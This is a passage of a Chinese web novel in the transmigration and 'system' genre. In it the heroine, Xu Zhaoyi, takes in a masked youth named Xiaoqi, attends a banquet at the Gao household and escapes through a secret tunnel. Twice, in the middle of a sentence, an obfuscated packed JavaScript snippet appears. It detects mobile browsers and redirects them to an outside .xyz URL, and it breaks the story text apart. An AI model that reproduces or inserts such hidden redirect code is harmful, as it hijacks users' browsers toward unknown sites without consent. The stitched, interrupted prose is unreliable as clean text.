待他的伤口全部包扎完毕,徐昭意狠松口气,下一秒睨过散乱衣襟,只得双手抓紧披风,将自己牢牢包起来。 再抬眸时瞬时窒息,一双绷着青筋的有力双手死死掐住她,把她直拖倒在雪地,再掐紧些,仿佛能听见骨骼碎裂的声音。 这是徐昭意两世人生加起来,第一次直观生命流逝。前世她是猝死,压根儿没受什么罪。可今生她还没死呢,就有人一而再,再而三地掐她! 【嘀嘀嘀!宿主生命危机!严重警告!严重警告!】 “宿主快说自己没看他长什么样!”系统急声道。 “放……手……我……没看……没看!” 破碎的嗓音飘散在残雪间,化为细凉雪点落于指节,引得那双掐人之手忽颤。 他猛然放开她,一双眼直勾勾盯着她。 徐昭意一边捂脖颈,一边慌乱拢起方才散落的披风。她受不了那般炽热的视线,压下恨意柔柔望去。 却撞进了一对琥珀色的瞳孔里。 他戴着半遮赤狐面具,严实的暗红漆木,期间穿插金黑绘文。眼睛处是雕刻出来的细长狐狸眼,看不出真正眼型。面具底端是狐狸鼻吻,尖翘又突出,唯露出鼻端下的冷白肌肤和艳红唇畔。 恍惚间,她似是又看见了姐姐。但他的瞳孔颜色与姐姐略微不同,姐姐的瞳孔细看带着暗金色,但他是通透的琥珀色,纯洁无暇。 原来男四也有胡人血统。 “我没有看你的面容。”徐昭意攥紧披风,边咳边笑,“我还救了你呢,你怎么这般不认账?” 少女语带娇俏,似是毫无芥蒂。 少年抿唇不语,一双眼直勾勾盯着她,带着明晃晃的疑问。 “我找到了!”系统总算下了场及时雨。 “男四是高家出逃的小少主,男主表弟,天生不爱说话。他路过清正寺时,遭遇贵妃手下人刺杀,这才昏迷此处。女主捡到男四后,因男四没有住处,便将男四带回府。宿主要按原女主的方式行事,所以也要带男四回府。” 【少年穷系列任务一:诱惑男四跟女二回府。进度条:30%】 徐昭意唇边勾起柔和笑意,细看下还带有两个小酒窝,是个极富有亲和力的笑。 她一边笑着,一边低低的,柔柔的,带着诱哄意味道:“我是徐国公的二娘子,你是谁?若你暂时没有住的地方,可否跟我回家?我正缺一个打手。” 她看起来若柳絮般纤细,言谈举止带着股天真,对待差点杀了她的人,不仅没有恶语相向,反而乐于施加善意,看起来就是个毫无威胁力的闺阁娘子。 少年停滞许久,终于僵硬点头。他一边点头,一边还用手在雪地上写下歪歪扭扭两个大字——小七。 【恭喜宿主成功抢走原女主的一个名场面。少年穷系列任务一:诱惑男四跟女二回府。进度条:90%】 “小七?”徐昭意细细咀嚼,仔细观察少年神色,“你是要我叫你小七吗?” 小七点头,随后又直勾勾盯着徐昭意。 经过几次打交道,徐昭意大致摸清了他的性子。 “你是在问我,现在该做什么吗?”她试探问道。 小七继续点头。 徐昭意蹲下身子,对着傻愣愣趴在雪地里的人笑道:“你先继续趴着,我去前边有点事。等把事情做完了,我再来接你回府。” 小七直愣愣趴着,只知道点头。 徐昭意睨他一眼,拢起披风,起身走人。 “男四就是这性子吗?”她边走边问。 “根据已知剧情,男四先天脑子有损,属于笨蛋美人型。原书中的女主把男四救回去后,正是发现了这一点,才把男四调教成她最忠实的暗卫下属。”系统啧啧称奇。 “这样的人也能成为未来内卫首领?”徐昭意质疑。 “内卫首领掌管众多见不得人的脏事,只干事、不说话的人最适合不过了。”系统感叹。 徐昭意想到小七一言不合就杀人的举动,再想到曾经莫名其妙下牢狱的隔壁邻居,对此深以为然。 近些年来圣上追求长生,提倡修身养性,是以内卫逐渐衰 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随着系统嘀咕声消失,徐昭意的周身又恢复了静谧。她垂首沉思许久,这才走出连廊,往小七趴着的另一边走去。 另一边里,卢平丹正垂头听训。 “你说说你知羞不?”许夫人哐哐敲桌,力道大得恨不得蹦女儿头上,“你俩还没定亲呢,你就往人家怀里扑?我要是不来,你还准备亲上了是不?” 卢平丹思索一下,认真点头。 “你!”许夫人气得手一抖,半响后忽而极小声,“你就不能等等吗?白夫人还在这里呢!你这样做,让她怎么想?你想让她看轻你吗?等你俩定亲后,私下里传信,只要不折腾出孩子,随便怎么搞!” 卢平丹无语望天,她就知道娘会这么说。 若说她的性子只是像土匪,那她娘就是正经土匪头子出身,后来接受朝廷招安也是京城响当当的人物,连祖母那等难缠之人都怕她。 许夫人见女儿沉默,又忍不住开解道:“你性子随我,我今日一看那小郎君,就知是你的口味。娘也仔细看了,那郎君虽说矮了点,身子骨倒是不错的,你眼光比娘好。只他到底是个读书人,凡事你还是得悠着点来。” 卢平丹唇角微抽,连声应是。白家那边她不担心,全场唯一被蒙在鼓里的便是她娘。今日她为了下猛药,特意给娘上演了一出错位大戏,好证明自己一见钟情的决心。 谁知娘这般了解她,只一眼就知道白家兄妹长进她心坎上了,全然不用后续那些事。 许夫人满意点头,正准备去找白夫人时,婢女来报徐二娘子来了。 她唇边的笑意还未扬起,就见徐昭意裹得紧紧走过来,连脖颈处的肌肤都一丝不露。 “昭意不热吗?”许夫人疑惑。 徐昭意暗地恨得咬牙,面上却笑道:“我便是有些冷,才裹成这样的,叔母不必担心。” 她不等许夫人反应过来,话音一转:“我来此处,是想求叔母留辆马车给我。” 她忽而哽咽,低头拭泪:“我许久未见外祖,想留下来跟外祖聊聊再走。” “你这孩子这般见外作甚?”许夫人怪道,“叔母肯定给你留着。” 徐昭意得了准信,行礼起身告退,这才慢悠悠走回松树林。 那边的小七还原封不动趴在地上,身上暗红胡服滴着淡红雪水,伤口隐有冻伤之势。 瞧着甚是凄惨。 她笑得愈发柔和。 19. 带走男四 她饶有兴致地打量一下,用手轻轻揉了下脖颈,这才慢悠悠走过去,拍手道:“起来吧。” 小七听见拍手声,冻僵的眼珠迟疑转动,视线从那双肤如凝脂的手,缓缓挪到那张天真柔笑的脸上。 他抿唇,下一秒迅速起身,飞跃的淡红雪点溅到徐昭意素白的披风上,留下一个小污点。 徐昭意蹙眉,又迅速弯眼,柔声道:“趴麻了吧?给你准备了一辆马车,咱们赶紧走吧?” 小七不动,依旧直勾勾地盯着她,只是这次的眼神带着点阴森。 徐昭意维持着完美笑容,不紧不慢转身,款款走向那辆马车。 她身后的小七见状,眼珠微动,也迈着同样宽度的步伐跟上。 一上马车,徐昭意便柔声问道:“你是哪里人?怎么受伤了?” 她眸里盛满担忧,“我毕竟是国公之女,若你有难,尽可找我求助。” 小七瞥她一眼,冷面不答,靠着车壁闭目歇息。 徐昭意只是做做样子,也不指望他回答,他那些背景信息,她早从系统那里知晓了。只是...... 她从他湿哒哒的胡服扫到染上污渍的马车,眸底闪过一丝嫌恶,唇边笑意依旧不变,只托腮望向车窗外。 窗外有艳红的糖葫芦、蹦跳的胖娃娃、无处不在的画糖人,这些可比眼前的脏东西养眼多了。 马车速度很快,不一会儿便回府了。 【恭喜宿主完成任务。少年穷系列任务一:诱惑男四跟女二回府。进度条:100%】 徐昭意一笑,随即命人将小七带到客居,临别前笑眯眯道:“小七且稍坐片刻,我去去就回。” 话音一顿,她欲言又止:“这间客居里备着几套干净衣裳,小七若不嫌弃,不妨也换一身。方才的雪水毕竟凉人,小七若是冻着了,那可是我的不是了。” 小七直直看她一眼,不带感情地转身离去,边走边滴落淡红血水。 淡红血水流经染着花香的连廊、地板,连带着昭明苑都多了几分腥气。 徐昭意不住蹙眉,待小七身影彻底不见后,这才低声吩咐花尽找人清扫,转身回屋换衣。 屋内凝露早早便等在那了。 “天呐!娘子你的束带呢?”凝露拨开披风的手一顿,满面惊慌。 当代女性再怎么开放,对贞洁的要求依旧比现代高。 “娘子你的脖颈!怎伤得这般重!这京城谁敢伤娘子?”凝露颤手抚上伤口,尾音都在颤。 “被树划烂了,凝露别担心。只皮外伤而已,用药好就好得快。”徐昭意轻描淡写地擦过药膏,目光却投向另一边的客居。 客居内的人并没有如她所愿,在第一时间换衣,反而从尚且完好的袖中掏出一个牛皮小册子。小册子似是用了很多年,纸面微微泛黄,却被人保存得很好。 小七迅速翻到册子最新面,研墨之时掀眸瞧着,上面只三句话: 一、永远不能让人碰你的面具,任何人都不可以,见面容者杀之。 二、想尽一切办法紧跟徐二娘子,把她所有的异动都记录下来。切忌杀她。 三、调查京城高家,查清高淮之事,详情看前面一页。最好把徐二娘子拉进此事,以便更好观察异动。 他凝神盯着第二句话,正巧墨研好了,便提笔在册上挥笔写下几个丑丑的大字: 徐二娘子的异动:一、她心思恶毒,却比寻常人更善于伪装。且不知为何,对小七有种敌意。 写完,他合上册子,小心揣进怀里,这才打开衣柜,从满衣柜蓝、白衣袍中,勉勉强强挑出一件玄色襕袍穿。 换好衣服后,他皱眉扫过衣饰,又掏出小册子,在上面用蚁大的丑字在“异动”后面写下一行:二、她审美不佳。 * 徐昭意等了许久,这才等到姗姗来迟的小七。他衣裳也没穿好,头发更是散乱,却比寻常闺阁花了更多的更衣时间。 她眸光一闪,只笑道:“小七怎么花了这么多时间更衣?可是衣裳不合你品味?” 小七瞅她一眼,耿直点头。 徐昭意微顿,她平生第一次被人当面评判品味差。 她也不恼,笑意依旧柔和:“那我便派人再给你定几套衣裳吧?小七喜欢什么颜色的衣裳?” 本朝男子衣裳的款式不多,院内客居都有。唯有颜色准备的不充分。 小七指指大腿内侧,那处颜色更深,显然是鲜血染红绢帕,又溢出来了。 凝露却误会了他的意思,横眉怒对:“你这个登徒子,给娘子比划什么呢!” 徐昭意拍拍凝露肩膀,仔细盯着那处,试探问道:“红色?” 见小七点头,她又鬼使神差问道:“可还喜欢紫色与黑色?” 小七点得更快些。 徐昭意莫名笑了笑,也不多问,只让凝露下去准备,偌大厅堂便只剩下面对面的两人。 徐昭意端坐上首,托腮凝望着下首端正坐着的小七,脑海里浮现任务系统方才的提示。 【男四明面上是离家出走,暗地里却背负着调查京城高家的任务。京城高家好歹算士族,寻常人难得接触,更别提隐姓埋名来京城的男四。 女主正是拿捏了这一点,才迫使男四不得不接受她的帮助,从而促进感情升温。宿主你的身份比女主更高,按女主的路走肯定更容易俘获男四的心。】 俘获这人的心? 徐昭意垂眸,指尖漫不经心抚过玄色衣襟,开口道:“小七既已答应做我的打手,便是我的人了。我这人有个毛病,凡是我的人,就得全心全意为我做事,不能将心思花在旁的上面。你以前接的旧事我管不着,但有一点,解决的越快越好。” 小七闻言只摇头。 “做不到?”徐昭意攥紧衣襟,凤眼似含情,“你忘了你现在是谁的人了吗?你做不到快点办事,你可以求我呀?” 小七抬头直视她,半响后又是摇头。 徐昭意再好的脾性,大半时日浪费在他身上却得不到想要的结果,闻言也恼了。 她横了小七一眼,哼笑道:“你既这般有本事,以后便别来求我。” 她见小七木讷坐着,动也不动一下,自觉无趣,便招手道:“也罢,你先去养伤吧,旁的事稍后再议。” 小七这下听令,利索地离开了。 徐昭意盯着他离开的背影,心中恼意汹涌,止也止不住。 上一个让她这样的,还是她那位好阿姐。 所以这个小七到底与她那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809175|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个庶姐有没有牵扯? 瞳孔颜色一样、身高也相仿、喜好也一样,就是性子截然不同,也不知是不是装出来的。 戎州高家的少主吗? 徐昭意压下恼意,乍然笑起来。 * 傍晚徐国公回府后,第一时间叫人唤了女儿来。 他沉默看着愈发恣意的女儿,皱眉道:“你院里那个少年……” “女儿知晓分寸,父亲不必忧心。”徐昭意笑容满面,“毕竟父亲不在的这三年间,女儿不也活得好好的吗?” 这三年是两人心中的一根刺,触之即伤。 徐国公疲惫闭眼,摆手道:“也罢,你也及笄了,这些事原也不是我该管的,随你便吧。” 徐昭意压下心中酸涩,迫使自己继续笑得灿烂,“女儿谢过父亲了。” 她又飘然行礼,从容不迫道:“那女儿就告辞了。” 她看也没看徐国公的反应,步履轻快地离开主院。 夜空繁星点点,徐昭意眨也不眨地盯着上天,脑海里却浮现出与卢平丹的闲话。 平丹说得对也不对,她确实挺自由的,可若是换成许夫人与平丹单独住这么大一个院子,平丹也不会如她这般自由。 因为许夫人会管她。 而冯嬷嬷走后,已经没人会管她了。 * 时光似水快流,徐昭意悠闲躺了几日后,一份意料之外的请柬送入她的手中。 是高家的赏花宴,名为赏花,实为相看婚事。 她眯眼笑着打量片刻,便叫花尽将小七请过来。 她松了几日的绳索,现在该收紧了。 小七来得很快,花尽还在后头急急追赶,小七便已经毫不客气坐下了。 “你找我什么事?”他语调平平,开口依旧木讷。 徐昭意没回他,只慢悠悠展开手中请柬,在他面前晃了晃。 一个硕大的“高”字印入小七眼帘,他下意识伸手抓去,却落了个空。 他的情绪全在脸上,恼怒毫不遮掩。 “这个请柬是发给我的,你若要去,得随我去。”徐昭意看他一眼,漫不经心道。 小七指指自己,回答得很自然。 徐昭意笑了,上下打量他一眼,笑容愈发灿烂,“可我没说一定要带你去呀?” 她拭过眼角,叹声道:“高家的宴席只能带两个随从走,若带了你走,那凝露和花尽就得留一个在院中了。” 小七抿唇,赤狐面下的瞳孔一眨不眨盯着徐昭意,固执到骇人。 “我从来不带无用之人。”徐昭意敲着桌面。 小七神色一顿,手指伸向茶杯,沾水写下两个歪斜的大字——作甚? “查一个物什,”徐昭意视线向外,虚虚落在青鹿苑的方向,“是两尾交织的紫色狐纹花筏。” 小七皱眉,视线僵持半响,到底点了点头。 徐昭意摆手让他离开。 小七离开后,她看向门口气喘吁吁的花尽,顺了杯茶水喂花尽。 “娘子......”花尽被动喝水,满面欲言又止。 “没事,”徐昭意拍拍她,看向桌上的两个大字,目露嫌恶,“你歇息好后,帮我把桌子擦了吧。” 20. 高家宴席 三日后,高家后花园集满京城的莺莺燕燕,香气如兰、美人云集。 眼前白芙蓉开得正艳,徐昭意单手系紧杏色披风,触花指尖微颤。 这二月天里,哪怕天气回暖,她仍觉得寒气透骨。 一周前松系带救人,哪怕及时拢紧披风,到底窜了几丝凉气入体,到如今也好不了。 想起这晦气事,她余光瞥过一旁垂手站立的小七。他面上依旧戴着那个怪模怪样的面具,露出肌肤又绮丽非常,引得不少贵女暗自相看。 徐昭意轻咳一声,捂心蹙眉道:“小七,给我拿盏热茶来。” 此处离热茶处稍远,一来一回得费不少功夫。但小七只是看了她一眼,便干脆转身离去。 她漫不经心扫过周遭贵女的失落眼神,还没来得及打圆场,便被一股更浓郁的芙蓉香抱了满怀。 “我就知道你在这里!”卢平丹得意昂首。 自徐昭意知晓卢平丹爱芙蓉花后,此后的每场花宴,只要请柬上写了芙蓉花,她必会找到开芙蓉花的地方等卢平丹。 徐昭意摸摸卢平丹脑袋,视线从逐渐走来的白轻落身后飘,落于不远处频频望来的文小娘子身上。 卢平丹知晓她在想什么,凑过来咬耳朵:“自她知晓轻落执意与我定亲,且得了娘娘首肯后,便一直是这副恍惚样子。眼下人多嘈杂,你跟紧人群走,不必管我。我怕她做出什么过激行为,反累了你的名声。” “你要去干什么?”徐昭意警觉。 卢平丹飘忽眼神:“没甚么,就是找她聊聊。” “你同她有什么好聊的?”徐昭意不满蹙眉,“她心眼向来多,你小心害了自个儿!” “话不能这么说,”卢平丹认真反驳,“你上回不也与我说了吗?当今世道对女儿家不好,她虽说做了那档子事儿,背后却也有家里推波助澜。本来她还能择一青年翰林做夫君,可又被我与轻落搅黄了一切。眼下她陷入只能嫁与混球的困境,我也不能眼睁睁看着。” 徐昭意哑口无言,她怔怔瞧着面前肆意的卢平丹,心口酸酸胀胀的,有些难言情绪在无声发酵。 是她魔障了,她一个穿过来的现代人,看事情竟还没有平丹清楚。 她匆匆垂眸,努力平复语中波澜:“你去单独见她也可以,但我看她频频盯着轻落,可见春心未泯。你又不能直言轻落身份,她必不会善罢甘休。若你见事不妙,可千万记得及时跑。” 那文小娘子上回下的药,连武功不弱的姐姐都吃了暗亏,可见不是什么善茬。卢平丹直爽惯了,又有许夫人护着,也没真正面对过后宅手段。她是真有些怕卢平丹阴沟里翻船。 卢平丹笑得不以为意:“我有武功傍身,她还能害了我去?放心吧。” 她不等徐昭意再开口,径自往文小娘子方向走去。 徐昭意瞅过一旁乐滋滋啃糕点的凝露,又别过头,无奈看向白轻落。 这位“白郎君”可比她们首次见面所见的模样,要冷心冷肺得多。 若不是她手握白师兄的联系渠道,只怕这位也不会这般听她的。 白轻落额间红点摇晃,清淡开口道:“她不会有事的,最多吃点苦头,让她认清什么是‘骄兵必败’。” 徐昭意步子往前迈了几步,余光瞥过慢悠悠飘过来的小七,又无奈停下,转而露出一个熟悉的柔和笑容:“小七这么快就回来了?” 白轻落一顿,眸光偏转。 小七无语瞥徐昭意一眼,径自把茶盏塞到凝露手里,接着垂手发呆。 徐昭意接过凝露递来的茶盏,视线自白轻落身上略过,垂眸小抿。 恍惚间,一道轻软嗓音似在耳旁响起:“这位娘子可要帮忙?” 她下意识侧头看去,却见一位小美人正穿着鹅黄婢女服,笑盈盈立在一旁。 徐昭意指腹轻磨茶盏,转瞬应下:“有劳了。” 她也笑盈盈看向小美人,下颚朝文小娘子那边轻扬,“劳烦小娘子帮我跟着那两人,有何异动请第一时间过来跟我说。” 小美人竟无任何异议,垂首福礼后,便往那处走去。 她们的声音很小,可再小的声音,周边三人也听得一清二楚。 徐昭意扫过事不关己的白轻落,继续木讷的小七,看向呆立一旁的凝露,朝她招手,“走吧,咱们去看看别的娘子的才艺。” 高家这个赏花宴讲求自在随心,有心娘子自可前往宴席处表演,无心娘子便随意赏玩。 徐昭意无心嫁与高家,便随意赏玩。但令她惊讶的是,宋家大娘子竟在这次宴席上表演了琴艺。 要知道宋大娘子师从琴圣,寻常时候不轻易出手,一般只有贵妃娘娘唤她待客时,她才会降尊纡贵地拿琴来抚。 宋大娘子不出手则已,一出手惊人。宴席众人皆沉醉在她的演奏中,连半道而来的徐昭意都被她一下带到琴乐的世界,久久无法挣脱出来。 就在她托腮听琴音时,上首郎君忽动,袖袍拢起似是要走。 她疑惑看去,却发现是个老熟人,正是被抢亲的前新郎官高淮。 他穿着一袭长袖广衫,冠发半束,眉目又清俊,行走间颇有种悲悯气度。 她又看了眼高淮的瞳孔颜色,较常人而言稍浅,是典型的胡人后辈。 听闻高家祖上是青汗国贵族,后不知什么缘故,投奔当时还是青汗国二等人的太祖皇帝建立了云王朝。 因着这缘故,高家在云王朝举重若轻,甚至可以决定下一任皇帝的继承——当今陛下就是被这么扶持起来的。 可惜高家功高震主,陛下又是专断之人,断不会如前几位崇尚仁政的先祖那般,对高家优待。 是以高家分为如今的京城高家和戎州高家。分家细况已无法考究,但可以肯定的是,哪怕再有龌龊,两家依旧紧密。 譬如京城盛传的一则流言,据传戎州高家的高督尉逝世前遗失的高家军虎符,此刻就在高淮手里。 所以各路贵女齐聚高家宴席,对高淮趋之若鹜。 就比方现在,宋大娘子退下后,其余贵女们也不甘示弱,纷纷开始各显神通。 高家宴席热热闹闹,直让高家老太君笑眯了眼。 但徐昭意总觉得哪里不对,她扫过各位贵女面上的讨喜神态,垂睫压下疑惑。 按照这位高郎君的身份,正妻之位无论如何也轮不到白家这种商户。 而且这位高郎君也不见得是喜欢白娘子才与白家结为姻亲,毕竟新娘子被抢后,高家也不见响动,一个个反而颇为配合白轻落调查“真相”。 这显然不是喜欢一个人的模样。 徐昭意压下心底纷扰,托腮享受了把丝竹盛宴。天色已近正午,炽热阳光洒下,让人不禁想起那对木讷的琥珀色眼珠。 她给了他这般多的时间,此刻想必也该有动静了。 她念念不舍地看了眼正在起舞的美人,唤来魂不守舍的凝露。 “该走了。”她笑着拍了下凝露脑门。 凝露幽怨地看了徐昭意一眼,幽幽一叹,手指摸上腰间皮鞭,慢慢悠悠跟上娘子。 两人一路沿廊走着,却没回到原先的后花园,反而来到一处幽静竹林。 竹叶沙沙作响,风儿从缝中带来声声呜咽。 “......求求你了,把白郎君让给我吧,失去他我会死的!”文小娘子柔弱哽咽,“卢娘子,我与你不同,我的父母兄长都逼我嫁人,不是白郎君就是宋三郎君。你是知道宋三郎君的,他,他......” 她忽然就崩溃了,声声低泣环绕耳侧,宛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827852|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若苦苦挣扎的无助枯树,风一打就飘落无数碎屑,片片刮于耳侧。 “你别哭......”卢平丹声音带着慌乱,脚步哒哒,似在往前走,“咱们再想想办法......咳咳咳!” 徐昭意豁然瞪眼,却忍在原地没有动弹。 “你给我下毒了!”卢平丹不可置信。 “文小娘子,你破坏规矩了。”轻软声音带笑响起。 “这毒不至死,只会在每月十五痛不欲生。”文小娘子似被人掐住脖颈,说得极为艰难,却还是很流畅,“只要你答应我放弃白郎君,我便立即给你解药,这毒只有我能解!” 她倏忽痛呼出声。 “你从哪里得来的这药?”轻软声音不复甜美,带着森然寒气,“只有你能解?” 文小娘子尖叫出声,急急嚷道:“这毒叫‘佛子落’,连佛子吃了都要痛不欲生的,除我之外无人能解!” 重物落地声猛响,竹叶猎猎作响,缝中风似刀刮过徐昭意面颊,带着森然血腥气。 她这次终于往前一步,冲凝露急声吩咐:“待会儿你谁也不要管,只管带平丹走!” 凝露正想摇头,却见徐昭意手里捏着块令牌,中间刻着梅花纹。 这是家主令,见者需绝对服从。 凝露舌尖咬出腥气,却只得含泪往前奔。 徐昭意将家主令收回袖中,挽起颊边鬓发,装作不经意闯入。 成败在此一举。 穿过竹林,面前是一小滩暗红血液。这应是卢平丹硬咳出来的。 再往前看时,只见昏倒在地的文小娘子,却不见其余人。 她余光扫过叶间凌乱脚步,揣摩着轨迹,步步往猜测方向走去。 四周静极了,又是巨大松树林,万千光线密密麻麻射向地面,印出一个个移动光圈。 她踩住几个光圈,学着小姑娘跳圈走,桃色襦裙在空中划过一道亮圈,又轻飘飘落下。 松叶粗硬,踩起来咯吱作响,却没碎。她似是不满意,又连着踩了好几步。 咯吱,咯吱,咯吱,咚!砰砰——烟雾缭绕。 一枚紫色花筏擦过雪白面颊,嗞出丝丝艳血。 徐昭意忍痛拾起花筏,打眼一瞧,没有交尾狐狸纹。 “你不走吗?再不走就留在这里陪我哦?”轻软女声甜丝丝的,在前方树枝上绽放。 徐昭意磨着花筏,勾唇笑了笑,直视那小美人,又慢吞吞往前走了几步。 待离那棵松树只有三步远时,她一歪头,弯眼笑道:“月梨?” 风忽止,叶已停,下一瞬爆出前所未有的炸裂声。 树林万壑松风,飘荡呼啸声。曾经美若仙境的松树林,此刻烧焦一片。 一个焦黑地洞旁响起哒哒脚步声。 月梨眸光怯怯盯着黑洞,杏眼饱含泪意:“都是奴婢不好,没能及时带徐娘子离开,这才导致她遭此浩劫......” 一截长袖抚过她的杏眼,凉风穿身而过,带来令人头皮发麻的叹息:“月梨,你不乖了。” * 森然漆黑中,一双琥珀色的眸子在地道内幽幽亮着。 他面无表情盯着怀里昏死过去的姑娘,她的面颊在黑暗中散发莹白柔光,这本该是一副美好画面,偏偏一道鲜红细痕破坏了完整度。 琥珀色的瞳孔愈发闪亮,眸底暗金渐渐沉积,慢慢照向莹白侧脸。 那里有滴即将干涸的血珠。 墨发顷刻披散,遮住细微光线。令人不适的绝对寂静中,细微的吞咽声被无限放大、放大,最后化为一句。 【叮!恭喜宿主成功进入暗道,特开启少年穷系列任务二:探寻高家隐秘,进度条:10%】 琥珀瞳孔豁然扩大,显出兽类警觉。 21. 偏离剧情 小七的犬齿抵住下唇,口腔里弥漫着铁锈味的血腥气。方才那声诡异的低语仍萦绕在耳畔。 不似人声,倒像黄泉下的索命鬼差,又像九霄上的天神怒斥。 从天际而来,飘渺又威严。 下唇的血腥气与口里残存的血腥气混在一起,顺着喉结滚落下去,但仍有余留。 小七摸摸喉口,视线不禁下移。 面前少女的颊边不再流血,血痕旁沾染着晶莹水珠,染得那条细红线愈发艳丽。 他的指尖抚过那道伤痕,指腹下的肌肤意外柔软。稍一用力,苍白的皮肤便泛起绯色,绚丽到刺目。 这抹朱色与口中的血腥味奇异交融,竟让他体内翻涌的杀意渐渐平息。 不能杀。 小七垂眼告诫自己。 册子上说她很重要、很怪异,需要仔细观察。方才那道奇怪的声音,他不确定与面前这人有没有关联,还需留她性命再做观察。 那双琥珀色眸子静静瞧着面前少女,手指特意放轻力度,一寸寸磋磨着那片绯红肌肤。 肌肤经过持续摩擦,柔润表皮逐渐泛起血丝,将破未破,显出别样的脆弱感。 手一顿,没注意重了些。 零星血珠渗出表皮,宛若上好宣纸的几瓣红梅。 盈盈立在表皮,几欲滴落。 小七盯着血珠,脑海中的奇怪声音持续响起。 “恭喜宿主成功进入暗道,特开启少年穷系列任务二:探寻高家隐秘......” 他认得这其中的每一个字,可连在一起后,却怎么也不明白其中的意思。 他只知道徐昭意与他一样,都需要探寻高家隐秘。 她的身份是敌非友,若参合进来,许对他不利。 小七心不在焉地想着,糜红唇畔却渐渐下移,若有似无触碰到底下肌肤。 就在血珠边缘,但迟迟没有吮下去。 杀不得......那尝一口总可以吧? 这个徐二娘子从一开始就对他恶意满满,往常这样的人,他都是直杀了事,但这个却在册子上命令禁止杀。 这让他很痛苦,第一次想违抗册子办事。 然而册子是仙人抚顶所生之物,不可轻易违抗,否则仙人定降下惩处。 他受过一次惩处,就不想再受第二次。 小七叹气,闭眼垂眸。 【按照原定剧情,请宿主往微弱光线处跑。】 那道奇怪声音又出现了,就在他逐渐碰到她的血珠的那一刻。 就在他迟疑的一瞬间里,怀中少女猛然坐起,趁他晃神一把将他推倒在地!随后毫不迟疑地往微弱光线处跑。 身影很快化为一点,消失不见。 小七撑着地面,直勾勾盯着那消失的一点,眼皮无意识地眨了眨,却没动。 * 徐昭意是被脸颊处不知收敛的触碰痛醒的。 她屏住呼吸,一直忍而不发,直到面上多了分森寒湿意,这才找准晃神之机一击即中。 若早知道小七是个变态,哪怕被系统惩罚,她也不会救他! 心脏在胸腔里疯狂撞击,方才贴近时嗅到的冷香犹在鼻端,她不禁想到许久未见的姐姐...... 徐昭意浑身一激灵,不顾心脏处的不适,跑得更快了。 许是太快了,她脚下忽而踩空,差点摔倒。幸亏她对这种机关早有准备,虽说身体愈发不适,却还是躲过了几个跳板,稳稳进入更为平整的地界。 她向后看了一眼,没人,而四周也不像能藏人的样子。 她松了口气。 无论是小七过于轻视以至于没跟上她,还是他另有目的,徐昭意都不在乎。 她现在需要一个独自行动的空间,去解锁高家隐秘。 虽说与小七合作能更容易探索隐秘,但小七不信她,她知道,而她恰巧也不信小七。 小七缓慢擦她脸颊时,吐息间的残存杀意犹在颈间。 她竟不知小七对她抱着这么大的杀意! 比起走剧情,她更惜命。 拿到资料再设法逃出去后,她应付小七的胜算会更大些。 为了高家的隐秘,小七不得不听她的;而她有了梅家和国公府的保护,也不用惧他的武力了。 徐昭意抚住心口喘了好久气,这才靠墙闭目,接受任务系统信息。 【剧情传输中......】 【原书中的女主也参加了高家宴席,男四的存在感比现在小。女主不怎么管男四,自己随意乱逛,却不小心撞见高家少主高淮在与自己的婢女亲亲我我。 她本来想跑,却不料那婢女武功也不弱,偷袭之下把她击落密道。她一路往光线微弱处跑,虽说遇到了一些机关,但大部分无伤大雅,顺利潜入核心密室拿到高家隐秘资料。也是在那里,她遇上了失踪许久的男四。】 【请宿主按女主路线行事,先男四一步抢夺高家隐秘资料。】 “你觉得以小七对我的警惕和杀意,在暗道里跟着他走,和在密室拿资料时撞见他,我的下场会有不同吗?”徐昭意面无表情反问。 任务系统也不知道该怎么办,在原剧情里,男四小七虽说戏份不多,却次次都是刺激情节,再加上忠犬属性,让无数读者嗷嗷怜爱。 或许主系统知道该怎么办,可惜它只是一个任务系统,配件不齐全,提供不出意见。 徐昭意见任务系统沉默装死,无奈一叹,又换了种问法:“你查查剧情细节,看看还有什么地方有线索。文书资料线索太容易被抢,我武功没有姐姐高,小七真想下手,我是不敌他的。” 【查找中......】 【在原书中有一个细节,现今为宿主展示原剧情: 在用实力说服小七与她合作后,徐青越心安理得用小七探路,为她排除前方机关陷阱。 眼看着小七的背影消失不见,她知道前方机关没什么难度。 正准备跟上时,一股极淡的血腥味飘进鼻端。 她猛然转头望去,却见那处黑漆漆的,不像有活人存在的模样。 密道内的空气稀薄,徐青越待久了,心中憋闷愈发明显。 她深深望了西南处一眼,转眸打量手中文书,觉着证据足够,便不再涉险,反而以来时更快的速度,顺着小七离开的路线而去。 在她离开后半炷香的时间,西南处的那片黑暗猛然探出一根手指头。 上面血迹斑斑,像是被人啃食过。】 徐昭意第一次知道系统还能展示原文剧情,她沉默许久,忽而问道:“作者挖坑不埋吗?” 这题任务系统会,它老实解释道:“因为此处过于恐怖,解释起来又要废更多笔墨,而读者们又更爱看恋爱剧情,作为一本专业万人迷文,作者果断掠过不写。” “那作者写这处伏笔的意义何在?”徐昭意无奈。 任务系统嗞啦许久,慢吞吞道。 【制造恐怖氛围,激发女主内心恐慌欲,为后续女主跟上男四,并要求拉男四袖子做铺垫。】 徐昭意很难想象姐姐那样厌恶他人触碰的人,会主动与别人牵手。 